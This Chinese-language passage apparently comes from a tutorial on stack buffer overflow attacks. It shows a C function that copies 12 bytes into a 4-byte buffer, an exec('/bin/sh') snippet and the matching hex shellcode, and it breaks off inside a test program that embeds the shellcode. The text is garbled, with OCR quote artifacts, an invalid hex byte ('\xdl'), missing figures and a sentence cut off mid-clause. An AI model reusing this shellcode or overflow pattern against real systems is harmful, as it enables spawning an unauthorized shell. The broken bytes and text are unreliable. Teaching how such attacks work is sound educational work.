网络 电子商务 编程
低地址
图1 堆栈结构图
例如,调用以下函数时
Void f(char *src)
{ char dest[4];
memcpy(dest, src,12);
}
堆栈及变量的位置如图2所示:
图2 堆栈及位置的变量图 C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击
{
char *str[2]={‖/bin/sh‖,0};
exec (―/bin/sh‖,str,0);
}
编译后反编译,并加以整理,得到与以上程序等价的机器码:
―\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00‖
―\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80‖
―\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff‖
―\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3‖
事例程序如下:
/ test /
char shellcode[]=
{―\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00‖